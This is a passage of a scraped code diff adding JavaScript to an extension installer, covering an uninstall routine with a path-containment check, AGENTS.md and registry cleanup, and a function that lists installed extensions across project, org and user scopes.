const resolvedScopeDir = resolve(scopeDir);
|
|
1144
|
+
const resolvedScopeRoot = resolve(scopeRoot);
|
|
1145
|
+
if (!resolvedScopeDir.startsWith(resolvedScopeRoot + sep) &&
|
|
1146
|
+
resolvedScopeDir !== resolvedScopeRoot) {
|
|
1147
|
+
return { ok: false, removed: false, errors: ['scope dir escapes scope root'] };
|
|
1148
|
+
}
|
|
1149
|
+
|
|
1150
|
+
// Order: AGENTS.md first (rebuilds from current registry — entry still
|
|
1151
|
+
// present at this point), then platform skills, then registry+scope dir.
|
|
1152
|
+
// If anything mid-flight fails, the registry still references the
|
|
1153
|
+
// extension so a retry of uninstall finishes the job cleanly.
|
|
1154
|
+
let removePartial = false;
|
|
1155
|
+
if (opts.scope === 'project') {
|
|
1156
|
+
try {
|
|
1157
|
+
await removeExtensionFromAgentsMd(name, opts.projectRoot);
|
|
1158
|
+
} catch (err) {
|
|
1159
|
+
const msg = err && err.message ? err.message : String(err);
|
|
1160
|
+
process.stderr.write(
|
|
1161
|
+
`[ijfw] extension-installer: AGENTS.md cleanup failed for ${name}: ${msg}\n`,
|
|
1162
|
+
);
|
|
1163
|
+
removePartial = true;
|
|
1164
|
+
}
|
|
1165
|
+
try {
|
|
1166
|
+
await uninstallExtensionSkillsFromPlatforms(name, opts.projectRoot, {});
|
|
1167
|
+
} catch (err) {
|
|
1168
|
+
const msg = err && err.message ? err.message : String(err);
|
|
1169
|
+
process.stderr.write(
|
|
1170
|
+
`[ijfw] extension-installer: platform skill cleanup failed for ${name}: ${msg}\n`,
|
|
1171
|
+
);
|
|
1172
|
+
removePartial = true;
|
|
1173
|
+
}
|
|
1174
|
+
}
|
|
1175
|
+
|
|
1176
|
+
const dirExisted = await stat(scopeDir).then(() => true, () => false);
|
|
1177
|
+
await rm(scopeDir, { recursive: true, force: true });
|
|
1178
|
+
|
|
1179
|
+
const registry = await readRegistry(registryPath);
|
|
1180
|
+
const before = registry.extensions.length;
|
|
1181
|
+
const next = registry.extensions.filter((e) => e.name !== name);
|
|
1182
|
+
if (next.length !== before) {
|
|
1183
|
+
await writeRegistry(registryPath, { extensions: next });
|
|
1184
|
+
}
|
|
1185
|
+
|
|
1186
|
+
// Rebuild AGENTS.md once more after registry mutation so the post-state
|
|
1187
|
+
// reflects the now-removed extension even if the earlier pass picked it up.
|
|
1188
|
+
if (opts.scope === 'project') {
|
|
1189
|
+
try {
|
|
1190
|
+
await removeExtensionFromAgentsMd(name, opts.projectRoot);
|
|
1191
|
+
} catch { /* already logged above if it failed first time */ }
|
|
1192
|
+
}
|
|
1193
|
+
|
|
1194
|
+
return {
|
|
1195
|
+
ok: true,
|
|
1196
|
+
removed: dirExisted || next.length !== before,
|
|
1197
|
+
remove_partial: removePartial,
|
|
1198
|
+
};
|
|
1199
|
+
} catch (err) {
|
|
1200
|
+
return {
|
|
1201
|
+
ok: false,
|
|
1202
|
+
removed: false,
|
|
1203
|
+
errors: [err && err.message ? err.message : String(err)],
|
|
1204
|
+
};
|
|
1205
|
+
}
|
|
1206
|
+
}
|
|
1207
|
+
|
|
1208
|
+
// --- list -------------------------------------------------------------------
|
|
1209
|
+
|
|
1210
|
+
/**
|
|
1211
|
+
* Aggregate installed extensions from project + org + user registries.
|
|
1212
|
+
* Dedupes on name+version (first occurrence wins; project > org > user).
|
|
1213
|
+
*
|
|
1214
|
+
* Entries include a `permissions` slice and a `description` lifted from the
|
|
1215
|
+
* persisted manifest so downstream consumers (override resolver / audit
|
|
1216
|
+
* dispatch) can answer permission questions without re-reading every
|
|
1217
|
+
* extension's manifest.json from disk. The full manifest is NOT returned
|
|
1218
|
+
* — the response stays compact.
|
|
1219
|
+
*
|
|
1220
|
+
* @param {string} projectRoot
|
|
1221
|
+
* @returns {Promise<Array<{
|
|
1222
|
+
* name: string,
|
|
1223
|
+
* version: string,
|
|
1224
|
+
* scope: string,
|
|
1225
|
+
* installed_at: string,
|
|
1226
|
+
* status: 'active'|'stale',
|
|
1227
|
+
* last_trident_verdict: string|null,
|
|
1228
|
+
* permissions: {reads?: string[], writes?: string[]} | null,
|
|
1229
|
+
* description: string | null,
|
|
1230
|
+
* }>>}
|
|
1231
|
+
*/
|
|
1232
|
+
export async function listExtensions(projectRoot) {
|
|
1233
|
+
const paths = allRegistryPaths(projectRoot);
|
|
1234
|
+
const seen = new Map();
|
|
1235
|
+
for (const { scope, path } of paths) {
|
|
1236
|
+
const registry = await readRegistry(path);
|
|
1237
|
+
for (const e of registry.extensions) {
|
|
1238
|
+
if (!e || !e.name || !e.version) continue;
|
|
1239
|
+
const key = `${e.name}@${e.version}`;
|
|
1240
|
+
if (seen.has(key)) continue;
|
|
1241
|
+
const scopeDir = resolveScopeDir(
|
|
1242
|
+
{ scope, projectRoot },
|
|
1243
|
+
e.name,
|
|
1244
|
+
);
|
|
1245
|
+
const dirExists = await stat(scopeDir).then(() => true, () => false);
|
|
1246
|
+
// Lift audit-relevant manifest fields. `manifest` is persisted on each
|
|
1247
|
+
// registry entry by installExtension; fall through to null when an
|
|
1248
|
+
// older registry entry predates that field.
|
|
1249
|
+
const manifest = (e.manifest && typeof e.manifest === 'object') ? e.manifest : null;
|
|
1250
|
+
const permissions = manifest && manifest.permissions && typeof manifest.permissions === 'object'
|
|
1251
|
+
? manifest.permissions
|
|
1252
|
+
: null;
|
|
1253
|
+
const description = manifest && typeof manifest.description === 'string'
|
|
1254
|
+
? manifest.description
|
|
1255
|
+
: null;
|
|
1256
|
+
seen.set(key, {
|
|
1257
|
+
name: e.name,
|
|
1258
|
+
version: e.version,
|
|
1259
|
+
scope,
|
|
1260
|
+
installed_at: e.installed_at || null,
|
|
1261
|
+
status: dirExists ? 'active' : 'stale',
|
|
1262
|
+
last_trident_verdict: e.last_trident_verdict ?? null,
|
|
1263
|
+
permissions,
|
|
1264
|
+
description,
|
|
1265
|
+
});
|
|
1266
|
+
}
|
|
1267
|
+
}
|
|
1268
|
+
return Array.from(seen.values());
|
|
1269
|
+
}
|